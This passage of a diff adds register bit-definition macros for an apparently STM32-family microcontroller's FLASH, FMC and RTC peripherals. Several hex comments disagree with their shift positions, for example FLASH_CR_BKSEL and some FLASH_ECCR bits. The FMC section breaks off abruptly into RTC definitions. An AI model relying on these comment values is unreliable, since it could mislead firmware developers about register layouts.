FLASH_CR_INCERRIE_Msk (0x1UL << FLASH_CR_INCERRIE_Pos) /*!< 0x00100000 */ +#define FLASH_CR_INCERRIE FLASH_CR_INCERRIE_Msk /*!< Inconsistency error interrupt enable bit */ +#define FLASH_CR_OBKERRIE_Pos (21U) +#define FLASH_CR_OBKERRIE_Msk (0x1UL << FLASH_CR_OBKERRIE_Pos) /*!< 0x00200000 */ +#define FLASH_CR_OBKERRIE FLASH_CR_OBKERRIE_Msk /*!< OBK general error interrupt enable bitt */ +#define FLASH_CR_OBKWERRIE_Pos (22U) +#define FLASH_CR_OBKWERRIE_Msk (0x1UL << FLASH_CR_OBKWERRIE_Pos) /*!< 0x00400000 */ +#define FLASH_CR_OBKWERRIE FLASH_CR_OBKWERRIE_Msk /*!< OBK write error interrupt enable bit */ +#define FLASH_CR_OPTCHANGEERRIE_Pos (23U) +#define FLASH_CR_OPTCHANGEERRIE_Msk (0x1UL << FLASH_CR_OPTCHANGEERRIE_Pos) /*!< 0x00800000 */ +#define FLASH_CR_OPTCHANGEERRIE FLASH_CR_OPTCHANGEERRIE_Msk /*!< Option byte change error interrupt enable bit */ +#define FLASH_CR_INV_Pos (29U) +#define FLASH_CR_INV_Msk (0x1UL << FLASH_CR_INV_Pos) /*!< 0x20000000 */ +#define FLASH_CR_INV FLASH_CR_INV_Msk /*!< Flash Security State Invert */ +#define FLASH_CR_BKSEL_Pos (31U) +#define FLASH_CR_BKSEL_Msk (0x1UL << FLASH_CR_BKSEL_Pos) /*!< 0x10000000 */ +#define FLASH_CR_BKSEL FLASH_CR_BKSEL_Msk /*!< Bank selector */ + +/******************* Bits definition for FLASH_CCR register *******************/ +#define FLASH_CCR_CLR_EOP_Pos (16U) +#define FLASH_CCR_CLR_EOP_Msk (0x1UL << FLASH_CCR_CLR_EOP_Pos) /*!< 0x00010000 */ +#define FLASH_CCR_CLR_EOP FLASH_CCR_CLR_EOP_Msk /*!< EOP flag clear bit */ +#define FLASH_CCR_CLR_WRPERR_Pos (17U) +#define FLASH_CCR_CLR_WRPERR_Msk (0x1UL << FLASH_CCR_CLR_WRPERR_Pos) /*!< 0x00020000 */ +#define FLASH_CCR_CLR_WRPERR FLASH_CCR_CLR_WRPERR_Msk /*!< WRPERR flag clear bit */ +#define FLASH_CCR_CLR_PGSERR_Pos (18U) +#define FLASH_CCR_CLR_PGSERR_Msk (0x1UL << FLASH_CCR_CLR_PGSERR_Pos) /*!< 0x00040000 */ +#define FLASH_CCR_CLR_PGSERR FLASH_CCR_CLR_PGSERR_Msk /*!< PGSERR flag clear bit */ +#define FLASH_CCR_CLR_STRBERR_Pos (19U) +#define FLASH_CCR_CLR_STRBERR_Msk (0x1UL << FLASH_CCR_CLR_STRBERR_Pos) /*!< 0x00080000 */ +#define FLASH_CCR_CLR_STRBERR FLASH_CCR_CLR_STRBERR_Msk /*!< STRBERR flag clear bit */ +#define FLASH_CCR_CLR_INCERR_Pos (20U) +#define FLASH_CCR_CLR_INCERR_Msk (0x1UL << FLASH_CCR_CLR_INCERR_Pos) /*!< 0x00100000 */ +#define FLASH_CCR_CLR_INCERR FLASH_CCR_CLR_INCERR_Msk /*!< INCERR flag clear bit */ +#define FLASH_CCR_CLR_OBKERR_Pos (21U) +#define FLASH_CCR_CLR_OBKERR_Msk (0x1UL << FLASH_CCR_CLR_OBKERR_Pos) /*!< 0x00200000 */ +#define FLASH_CCR_CLR_OBKERR FLASH_CCR_CLR_OBKERR_Msk /*!< OBKERR flag clear bit */ +#define FLASH_CCR_CLR_OBKWERR_Pos (22U) +#define FLASH_CCR_CLR_OBKWERR_Msk (0x1UL << FLASH_CCR_CLR_OBKWERR_Pos) /*!< 0x00400000 */ +#define FLASH_CCR_CLR_OBKWERR FLASH_CCR_CLR_OBKWERR_Msk /*!< OBKWERR flag clear bit */ +#define FLASH_CCR_CLR_OPTCHANGEERR_Pos (23U) +#define FLASH_CCR_CLR_OPTCHANGEERR_Msk (0x1UL << FLASH_CCR_CLR_OPTCHANGEERR_Pos) /*!< 0x00800000 */ +#define FLASH_CCR_CLR_OPTCHANGEERR FLASH_CCR_CLR_OPTCHANGEERR_Msk /*!< Option byte change error clear bit */ + +/****************** Bits definition for FLASH_PRIVCFGR register ***********/ +#define FLASH_PRIVCFGR_SPRIV_Pos (0U) +#define FLASH_PRIVCFGR_SPRIV_Msk (0x1UL << FLASH_PRIVCFGR_SPRIV_Pos) /*!< 0x00000001 */ +#define FLASH_PRIVCFGR_SPRIV FLASH_PRIVCFGR_SPRIV_Msk /*!< Privilege protection for secure registers */ +#define FLASH_PRIVCFGR_NSPRIV_Pos (1U) +#define FLASH_PRIVCFGR_NSPRIV_Msk (0x1UL << FLASH_PRIVCFGR_NSPRIV_Pos) /*!< 0x00000002 */ +#define FLASH_PRIVCFGR_NSPRIV FLASH_PRIVCFGR_NSPRIV_Msk /*!< Privilege protection for non-secure registers */ + +/****************** Bits definition for FLASH_OBKCFGR register *****************/ +#define FLASH_OBKCFGR_LOCK_Pos (0U) +#define FLASH_OBKCFGR_LOCK_Msk (0x1UL << FLASH_OBKCFGR_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_OBKCFGR_LOCK FLASH_OBKCFGR_LOCK_Msk /*!< OBKCFGR lock */ +#define FLASH_OBKCFGR_SWAP_SECT_REQ_Pos (1U) +#define FLASH_OBKCFGR_SWAP_SECT_REQ_Msk (0x1UL << FLASH_OBKCFGR_SWAP_SECT_REQ_Pos) /*!< 0x00000002 */ +#define FLASH_OBKCFGR_SWAP_SECT_REQ FLASH_OBKCFGR_SWAP_SECT_REQ_Msk /*!< OBK swap sector request */ +#define FLASH_OBKCFGR_ALT_SECT_Pos (2U) +#define FLASH_OBKCFGR_ALT_SECT_Msk (0x1UL << FLASH_OBKCFGR_ALT_SECT_Pos) /*!< 0x00000004 */ +#define FLASH_OBKCFGR_ALT_SECT FLASH_OBKCFGR_ALT_SECT_Msk /*!< Alternate sector */ +#define FLASH_OBKCFGR_ALT_SECT_ERASE_Pos (3U) +#define FLASH_OBKCFGR_ALT_SECT_ERASE_Msk (0x1UL << FLASH_OBKCFGR_ALT_SECT_ERASE_Pos) /*!< 0x00000008 */ +#define FLASH_OBKCFGR_ALT_SECT_ERASE FLASH_OBKCFGR_ALT_SECT_ERASE_Msk /*!< Alternate sector erase */ +#define FLASH_OBKCFGR_SWAP_OFFSET_Pos (16U) +#define FLASH_OBKCFGR_SWAP_OFFSET_Msk (0x1FFUL << FLASH_OBKCFGR_SWAP_OFFSET_Pos) /*!< 0x01FF0000 */ +#define FLASH_OBKCFGR_SWAP_OFFSET FLASH_OBKCFGR_SWAP_OFFSET_Msk /*!< Swap offset */ + +/****************** Bits definition for FLASH_HDPEXTR register *****************/ +#define FLASH_HDPEXTR_HDP1_EXT_Pos (0U) +#define FLASH_HDPEXTR_HDP1_EXT_Msk (0x1FUL << FLASH_HDPEXTR_HDP1_EXT_Pos) /*!< 0x0000001F */ +#define FLASH_HDPEXTR_HDP1_EXT FLASH_HDPEXTR_HDP1_EXT_Msk /*!< HDP area extension in 8kB sectors in bank 1 */ +#define FLASH_HDPEXTR_HDP2_EXT_Pos (16U) +#define FLASH_HDPEXTR_HDP2_EXT_Msk (0x1FUL << FLASH_HDPEXTR_HDP2_EXT_Pos) /*!< 0x001F0000 */ +#define FLASH_HDPEXTR_HDP2_EXT FLASH_HDPEXTR_HDP2_EXT_Msk /*!< HDP area extension in 8kB sectors in bank 2 */ + +/******************* Bits definition for FLASH_OPTSR register ***************/ +#define FLASH_OPTSR_BOR_LEV_Pos (0U) +#define FLASH_OPTSR_BOR_LEV_Msk (0x3UL << FLASH_OPTSR_BOR_LEV_Pos) /*!< 0x00000003 */ +#define FLASH_OPTSR_BOR_LEV FLASH_OPTSR_BOR_LEV_Msk /*!< Brownout level option bit */ +#define FLASH_OPTSR_BOR_LEV_0 (0x1UL << FLASH_OPTSR_BOR_LEV_Pos) /*!< 0x00000001 */ +#define FLASH_OPTSR_BOR_LEV_1 (0x2UL << FLASH_OPTSR_BOR_LEV_Pos) /*!< 0x00000002 */ +#define FLASH_OPTSR_BORH_EN_Pos (2U) +#define FLASH_OPTSR_BORH_EN_Msk (0x1UL << FLASH_OPTSR_BORH_EN_Pos) /*!< 0x00000004 */ +#define FLASH_OPTSR_BORH_EN FLASH_OPTSR_BORH_EN_Msk /*!< Brownout high enable configuration bit */ +#define FLASH_OPTSR_IWDG_SW_Pos (3U) +#define FLASH_OPTSR_IWDG_SW_Msk (0x1UL << FLASH_OPTSR_IWDG_SW_Pos) /*!< 0x00000008 */ +#define FLASH_OPTSR_IWDG_SW FLASH_OPTSR_IWDG_SW_Msk /*!< IWDG control mode option bit */ +#define FLASH_OPTSR_WWDG_SW_Pos (4U) +#define FLASH_OPTSR_WWDG_SW_Msk (0x1UL << FLASH_OPTSR_WWDG_SW_Pos) /*!< 0x00000010 */ +#define FLASH_OPTSR_WWDG_SW FLASH_OPTSR_WWDG_SW_Msk /*!< WWDG control mode option bit */ +#define FLASH_OPTSR_NRST_STOP_Pos (6U) +#define FLASH_OPTSR_NRST_STOP_Msk (0x1UL << FLASH_OPTSR_NRST_STOP_Pos) /*!< 0x00000040 */ +#define FLASH_OPTSR_NRST_STOP FLASH_OPTSR_NRST_STOP_Msk /*!< Stop mode entry reset option bit */ +#define FLASH_OPTSR_NRST_STDBY_Pos (7U) +#define FLASH_OPTSR_NRST_STDBY_Msk (0x1UL << FLASH_OPTSR_NRST_STDBY_Pos) /*!< 0x00000080 */ +#define FLASH_OPTSR_NRST_STDBY FLASH_OPTSR_NRST_STDBY_Msk /*!< Standby mode entry reset option bit */ +#define FLASH_OPTSR_PRODUCT_STATE_Pos (8U) +#define FLASH_OPTSR_PRODUCT_STATE_Msk (0xFFUL << FLASH_OPTSR_PRODUCT_STATE_Pos) /*!< 0x0000FF00 */ +#define FLASH_OPTSR_PRODUCT_STATE FLASH_OPTSR_PRODUCT_STATE_Msk /*!< Life state code option byte */ +#define FLASH_OPTSR_IO_VDD_HSLV_Pos (16U) +#define FLASH_OPTSR_IO_VDD_HSLV_Msk (0x1UL << FLASH_OPTSR_IO_VDD_HSLV_Pos) /*!< 0x00010000 */ +#define FLASH_OPTSR_IO_VDD_HSLV FLASH_OPTSR_IO_VDD_HSLV_Msk /*!< VDD I/O high-speed at low-voltage option bit */ +#define FLASH_OPTSR_IO_VDDIO2_HSLV_Pos (17U) +#define FLASH_OPTSR_IO_VDDIO2_HSLV_Msk (0x1UL << FLASH_OPTSR_IO_VDDIO2_HSLV_Pos) /*!< 0x00020000 */ +#define FLASH_OPTSR_IO_VDDIO2_HSLV FLASH_OPTSR_IO_VDDIO2_HSLV_Msk /*!< VDDIO2 I/O high-speed at low-voltage option bit */ +#define FLASH_OPTSR_IWDG_STOP_Pos (20U) +#define FLASH_OPTSR_IWDG_STOP_Msk (0x1UL << FLASH_OPTSR_IWDG_STOP_Pos) /*!< 0x00100000 */ +#define FLASH_OPTSR_IWDG_STOP FLASH_OPTSR_IWDG_STOP_Msk /*!< Independent watchdog counter freeze in Stop mode */ +#define FLASH_OPTSR_IWDG_STDBY_Pos (21U) +#define FLASH_OPTSR_IWDG_STDBY_Msk (0x1UL << FLASH_OPTSR_IWDG_STDBY_Pos) /*!< 0x00200000 */ +#define FLASH_OPTSR_IWDG_STDBY FLASH_OPTSR_IWDG_STDBY_Msk /*!< Independent watchdog counter freeze in Standby mode */ +#define FLASH_OPTSR_BOOT_UBE_Pos (22U) +#define FLASH_OPTSR_BOOT_UBE_Msk (0xFFUL << FLASH_OPTSR_BOOT_UBE_Pos) /*!< 0x3FC00000 */ +#define FLASH_OPTSR_BOOT_UBE FLASH_OPTSR_BOOT_UBE_Msk /*!< Unique boot entry option byte */ +#define FLASH_OPTSR_SWAP_BANK_Pos (31U) +#define FLASH_OPTSR_SWAP_BANK_Msk (0x1UL << FLASH_OPTSR_SWAP_BANK_Pos) /*!< 0x80000000 */ +#define FLASH_OPTSR_SWAP_BANK FLASH_OPTSR_SWAP_BANK_Msk /*!< Bank swapping option bit */ + +/******************* Bits definition for FLASH_EPOCHR register ***************/ +#define FLASH_EPOCHR_EPOCH_Pos (0U) +#define FLASH_EPOCHR_EPOCH_Msk (0xFFFFFFUL << FLASH_EPOCHR_EPOCH_Pos) /*!< 0x00FFFFFF */ +#define FLASH_EPOCHR_EPOCH FLASH_EPOCHR_EPOCH_Msk /*!< EPOCH counter */ + +/******************* Bits definition for FLASH_OPTSR2 register ***************/ +#define FLASH_OPTSR2_SRAM1_3_RST_Pos (2U) +#define FLASH_OPTSR2_SRAM1_3_RST_Msk (0x1UL << FLASH_OPTSR2_SRAM1_3_RST_Pos) /*!< 0x00000004 */ +#define FLASH_OPTSR2_SRAM1_3_RST FLASH_OPTSR2_SRAM1_3_RST_Msk /*!< SRAM1 and SRAM3 erased when a system reset occurs */ +#define FLASH_OPTSR2_SRAM2_RST_Pos (3U) +#define FLASH_OPTSR2_SRAM2_RST_Msk (0x1UL << FLASH_OPTSR2_SRAM2_RST_Pos) /*!< 0x00000008 */ +#define FLASH_OPTSR2_SRAM2_RST FLASH_OPTSR2_SRAM2_RST_Msk /*!< SRAM2 erased when a system reset occurs*/ +#define FLASH_OPTSR2_BKPRAM_ECC_Pos (4U) +#define FLASH_OPTSR2_BKPRAM_ECC_Msk (0x1UL << FLASH_OPTSR2_BKPRAM_ECC_Pos) /*!< 0x00000010 */ +#define FLASH_OPTSR2_BKPRAM_ECC FLASH_OPTSR2_BKPRAM_ECC_Msk /*!< Backup RAM ECC detection and correction enable */ +#define FLASH_OPTSR2_SRAM2_ECC_Pos (6U) +#define FLASH_OPTSR2_SRAM2_ECC_Msk (0x1UL << FLASH_OPTSR2_SRAM2_ECC_Pos) /*!< 0x00000040 */ +#define FLASH_OPTSR2_SRAM2_ECC FLASH_OPTSR2_SRAM2_ECC_Msk /*!< SRAM2 ECC detection and correction disable */ +#define FLASH_OPTSR2_USBPD_DIS_Pos (8U) +#define FLASH_OPTSR2_USBPD_DIS_Msk (0x1UL << FLASH_OPTSR2_USBPD_DIS_Pos) /*!< 0x00000100 */ +#define FLASH_OPTSR2_USBPD_DIS FLASH_OPTSR2_USBPD_DIS_Msk /*!< USB power delivery configuration disable */ +#define FLASH_OPTSR2_TZEN_Pos (24U) +#define FLASH_OPTSR2_TZEN_Msk (0xFFUL << FLASH_OPTSR2_TZEN_Pos) /*!< 0xFF000000 */ +#define FLASH_OPTSR2_TZEN FLASH_OPTSR2_TZEN_Msk /*!< TrustZone enable */ + +/**************** Bits definition for FLASH_BOOTR register **********************/ +#define FLASH_BOOTR_BOOT_LOCK_Pos (0U) +#define FLASH_BOOTR_BOOT_LOCK_Msk (0xFFUL << FLASH_BOOTR_BOOT_LOCK_Pos) /*!< 0x000000FF */ +#define FLASH_BOOTR_BOOT_LOCK FLASH_BOOTR_BOOT_LOCK_Msk /*!< Boot Lock */ +#define FLASH_BOOTR_BOOTADD_Pos (8U) +#define FLASH_BOOTR_BOOTADD_Msk (0xFFFFFFUL << FLASH_BOOTR_BOOTADD_Pos) /*!< 0xFFFFFF00 */ +#define FLASH_BOOTR_BOOTADD FLASH_BOOTR_BOOTADD_Msk /*!< Boot address */ + +/**************** Bits definition for FLASH_PRIVBBR register *******************/ +#define FLASH_PRIVBBR_PRIVBB_Pos (0U) +#define FLASH_PRIVBBR_PRIVBB_Msk (0xFFFFFFFFUL << FLASH_PRIVBBR_PRIVBB_Pos) /*!< 0xFFFFFFFF */ +#define FLASH_PRIVBBR_PRIVBB FLASH_PRIVBBR_PRIVBB_Msk /*!< Privileged/unprivileged 8-Kbyte Flash sector attribute */ + +/***************** Bits definition for FLASH_SECWMR register ********************/ +#define FLASH_SECWMR_SECWM_STRT_Pos (0U) +#define FLASH_SECWMR_SECWM_STRT_Msk (0x1FUL << FLASH_SECWMR_SECWM_STRT_Pos) /*!< 0x0000001F */ +#define FLASH_SECWMR_SECWM_STRT FLASH_SECWMR_SECWM_STRT_Msk /*!< Start sector of secure area */ +#define FLASH_SECWMR_SECWM_END_Pos (16U) +#define FLASH_SECWMR_SECWM_END_Msk (0x1FUL << FLASH_SECWMR_SECWM_END_Pos) /*!< 0x001F0000 */ +#define FLASH_SECWMR_SECWM_END FLASH_SECWMR_SECWM_END_Msk /*!< End sector of secure area */ + +/***************** Bits definition for FLASH_WRPR register *********************/ +#define FLASH_WRPR_WRPSG_Pos (0U) +#define FLASH_WRPR_WRPSG_Msk (0x000000FFUL << FLASH_WRPR_WRPSG_Pos) /*!< 0x000000FF */ +#define FLASH_WRPR_WRPSG FLASH_WRPR_WRPSG_Msk /*!< Sector group protection option status */ + +/***************** Bits definition for FLASH_EDATA register ********************/ +#define FLASH_EDATAR_EDATA_STRT_Pos (0U) +#define FLASH_EDATAR_EDATA_STRT_Msk (0x7UL << FLASH_EDATAR_EDATA_STRT_Pos) /*!< 0x00000007 */ +#define FLASH_EDATAR_EDATA_STRT FLASH_EDATAR_EDATA_STRT_Msk /*!< Flash high-cycle data start sector */ +#define FLASH_EDATAR_EDATA_EN_Pos (15U) +#define FLASH_EDATAR_EDATA_EN_Msk (0x1UL << FLASH_EDATAR_EDATA_EN_Pos) /*!< 0x00008000 */ +#define FLASH_EDATAR_EDATA_EN FLASH_EDATAR_EDATA_EN_Msk /*!< Flash high-cycle data enable */ + +/***************** Bits definition for FLASH_HDPR register ********************/ +#define FLASH_HDPR_HDP_STRT_Pos (0U) +#define FLASH_HDPR_HDP_STRT_Msk (0x1FUL << FLASH_HDPR_HDP_STRT_Pos) /*!< 0x0000001F */ +#define FLASH_HDPR_HDP_STRT FLASH_HDPR_HDP_STRT_Msk /*!< Start sector of hide protection area */ +#define FLASH_HDPR_HDP_END_Pos (16U) +#define FLASH_HDPR_HDP_END_Msk (0x1FUL << FLASH_HDPR_HDP_END_Pos) /*!< 0x001F0000 */ +#define FLASH_HDPR_HDP_END FLASH_HDPR_HDP_END_Msk /*!< End sector of hide protection area */ + +/******************* Bits definition for FLASH_ECCR register ***************/ +#define FLASH_ECCR_ADDR_ECC_Pos (0U) +#define FLASH_ECCR_ADDR_ECC_Msk (0xFFFFUL << FLASH_ECCR_ADDR_ECC_Pos) /*!< 0x0000FFFF */ +#define FLASH_ECCR_ADDR_ECC FLASH_ECCR_ADDR_ECC_Msk /*!< ECC fail address */ +#define FLASH_ECCR_OBK_ECC_Pos (20U) +#define FLASH_ECCR_OBK_ECC_Msk (0x1UL << FLASH_ECCR_OBK_ECC_Pos) /*!< 0x00200000 */ +#define FLASH_ECCR_OBK_ECC FLASH_ECCR_OBK_ECC_Msk /*!< Flash OB Keys storage area ECC fail */ +#define FLASH_ECCR_DATA_ECC_Pos (21U) +#define FLASH_ECCR_DATA_ECC_Msk (0x1UL << FLASH_ECCR_DATA_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_DATA_ECC FLASH_ECCR_DATA_ECC_Msk /*!< Flash high-cycle data ECC fail */ +#define FLASH_ECCR_BK_ECC_Pos (22U) +#define FLASH_ECCR_BK_ECC_Msk (0x1UL << FLASH_ECCR_BK_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_BK_ECC FLASH_ECCR_BK_ECC_Msk /*!< ECC fail bank */ +#define FLASH_ECCR_SYSF_ECC_Pos (23U) +#define FLASH_ECCR_SYSF_ECC_Msk (0x1UL << FLASH_ECCR_SYSF_ECC_Pos) /*!< 0x00800000 */ +#define FLASH_ECCR_SYSF_ECC FLASH_ECCR_SYSF_ECC_Msk /*!< System Flash ECC fail */ +#define FLASH_ECCR_OTP_ECC_Pos (24U) +#define FLASH_ECCR_OTP_ECC_Msk (0x1UL << FLASH_ECCR_OTP_ECC_Pos) /*!< 0x01000000 */ +#define FLASH_ECCR_OTP_ECC FLASH_ECCR_OTP_ECC_Msk /*!< Flash OTP ECC fail */ +#define FLASH_ECCR_ECCIE_Pos (25U) +#define FLASH_ECCR_ECCIE_Msk (0x1UL << FLASH_ECCR_ECCIE_Pos) /*!< 0x02000000 */ +#define FLASH_ECCR_ECCIE FLASH_ECCR_ECCIE_Msk /*!< ECC correction interrupt enable */ +#define FLASH_ECCR_ECCC_Pos (30U) +#define FLASH_ECCR_ECCC_Msk (0x1UL << FLASH_ECCR_ECCC_Pos) /*!< 0x40000000 */ +#define FLASH_ECCR_ECCC FLASH_ECCR_ECCC_Msk /*!< ECC correction */ +#define FLASH_ECCR_ECCD_Pos (31U) +#define FLASH_ECCR_ECCD_Msk (0x1UL << FLASH_ECCR_ECCD_Pos) /*!< 0x80000000 */ +#define FLASH_ECCR_ECCD FLASH_ECCR_ECCD_Msk /*!< ECC detection */ + +/******************* Bits definition for FLASH_ECCDR register ***************/ +#define FLASH_ECCDR_FAIL_DATA_Pos (0U) +#define FLASH_ECCDR_FAIL_DATA_Msk (0xFFFFUL << FLASH_ECCDR_FAIL_DATA_Pos) /*!< 0x0000FFFF */ +#define FLASH_ECCDR_FAIL_DATA FLASH_ECCDR_FAIL_DATA_Msk /*!< ECC fail data */ + +/******************************************************************************/ +/* */ +/* Flexible Memory Controller */ +/* */ +/******************************************************************************/ +/****************** Bit definition for FMC_BCR1 register *******************/ +#define FMC_BCR1_CCLKEN_Pos (20U) +#define FMC_BCR1_CCLKEN_Msk (0x1UL << FMC_BCR1_CCLKEN_Pos) /*!< 0x00100000 */ +#define FMC_BCR1_CCLKEN FMC_BCR1_CCLKEN_Msk /*! */ + +/******************** Bits definition for RTC_ALRMAR register ***************/ +#define RTC_ALRMAR_SU_Pos (0U) +#define RTC_ALRMAR_SU_Msk (0xFUL << RTC_ALRMAR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMAR_SU RTC_ALRMAR_SU_Msk +#define RTC_ALRMAR_SU_0 (0x1UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMAR_SU_1 (0x2UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMAR_SU_2 (0x4UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMAR_SU_3 (0x8UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMAR_ST_Pos (4U) +#define RTC_ALRMAR_ST_Msk (0x7UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMAR_ST RTC_ALRMAR_ST_Msk +#define RTC_ALRMAR_ST_0 (0x1UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMAR_ST_1 (0x2UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMAR_ST_2 (0x4UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMAR_MSK1_Pos (7U) +#define RTC_ALRMAR_MSK1_Msk (0x1UL << RTC_ALRMAR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMAR_MSK1 RTC_ALRMAR_MSK1_Msk +#define RTC_ALRMAR_MNU_Pos (8U) +#define RTC_ALRMAR_MNU_Msk (0xFUL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMAR_MNU RTC_ALRMAR_MNU_Msk +#define RTC_ALRMAR_MNU_0 (0x1UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMAR_MNU_1 (0x2UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMAR_MNU_2 (0x4UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMAR_MNU_3 (0x8UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMAR_MNT_Pos (12U) +#define RTC_ALRMAR_MNT_Msk (0x7UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMAR_MNT RTC_ALRMAR_MNT_Msk +#define RTC_ALRMAR_MNT_0 (0x1UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMAR_MNT_1 (0x2UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMAR_MNT_2 (0x4UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMAR_MSK2_Pos (15U) +#define RTC_ALRMAR_MSK2_Msk (0x1UL << RTC_ALRMAR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMAR_MSK2 RTC_ALRMAR_MSK2_Msk +#define RTC_ALRMAR_HU_Pos (16U) +#define RTC_ALRMAR_HU_Msk (0xFUL << RTC_ALRMAR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMAR_HU RTC_ALRMAR_HU_Msk +#define RTC_ALRMAR_HU_0 (0x1UL << RTC_ALRMAR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMAR_HU_1 (0x2UL << RTC_ALRMAR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMAR_HU_2 (0x4UL << RTC_ALRMAR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMAR_HU_3 (0x8UL << RTC_ALRMAR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMAR_HT_Pos (20U) +#define RTC_ALRMAR_HT_Msk (0x3UL << RTC_ALRMAR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMAR_HT RTC_ALRMAR_HT_Msk +#define RTC_ALRMAR_HT_0 (0x1UL << RTC_ALRMAR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMAR_HT_1 (0x2UL << RTC_ALRMAR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMAR_PM_Pos (22U) +#define RTC_ALRMAR_PM_Msk (0x1UL << RTC_ALRMAR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMAR_PM RTC_ALRMAR_PM_Msk +#define RTC_ALRMAR_MSK3_Pos (23U) +#define RTC_ALRMAR_MSK3_Msk (0x1UL << RTC_ALRMAR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMAR_MSK3 RTC_ALRMAR_MSK3_Msk +#define RTC_ALRMAR_DU_Pos (24U) +#define RTC_ALRMAR_DU_Msk (0xFUL << RTC_ALRMAR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMAR_DU RTC_ALRMAR_DU_Msk +#define RTC_ALRMAR_DU_0 (0x1UL << RTC_ALRMAR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMAR_DU_1 (0x2UL << RTC_ALRMAR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMAR_DU_2 (0x4UL << RTC_ALRMAR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMAR_DU_3 (0x8UL << RTC_ALRMAR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMAR_DT_Pos (28U) +#define RTC_ALRMAR_DT_Msk (0x3UL << RTC_ALRMAR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMAR_DT RTC_ALRMAR_DT_Msk +#define RTC_ALRMAR_DT_0 (0x1UL << RTC_ALRMAR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMAR_DT_1 (0x2UL << RTC_ALRMAR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMAR_WDSEL_Pos (30U) +#define RTC_ALRMAR_WDSEL_Msk (0x1UL << RTC_ALRMAR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMAR_WDSEL RTC_ALRMAR_WDSEL_Msk +#define RTC_ALRMAR_MSK4_Pos (31U) +#define RTC_ALRMAR_MSK4_Msk (0x1UL << RTC_ALRMAR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMAR_MSK4 RTC_ALRMAR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMASSR register *************/ +#define RTC_ALRMASSR_SS_Pos (0U) +#define RTC_ALRMASSR_SS_Msk (0x7FFFUL << RTC_ALRMASSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMASSR_SS RTC_ALRMASSR_SS_Msk +#define RTC_ALRMASSR_MASKSS_Pos (24U) +#define RTC_ALRMASSR_MASKSS_Msk (0x3FUL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x3F000000 */ +#define RTC_ALRMASSR_MASKSS RTC_ALRMASSR_MASKSS_Msk +#define RTC_ALRMASSR_MASKSS_0 (0x1UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMASSR_MASKSS_1 (0x2UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMASSR_MASKSS_2 (0x4UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMASSR_MASKSS_3 (0x8UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMASSR_MASKSS_4 (0x10UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x10000000 */ +#define RTC_ALRMASSR_MASKSS_5 (0x20UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x20000000 */ +#define RTC_ALRMASSR_SSCLR_Pos (31U) +#define RTC_ALRMASSR_SSCLR_Msk (0x1UL << RTC_ALRMASSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMASSR_SSCLR RTC_ALRMASSR_SSCLR_Msk + +/******************** Bits definition for RTC_ALRMBR register ***************/ +#define RTC_ALRMBR_SU_Pos (0U) +#define RTC_ALRMBR_SU_Msk (0xFUL << RTC_ALRMBR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMBR_SU RTC_ALRMBR_SU_Msk +#define 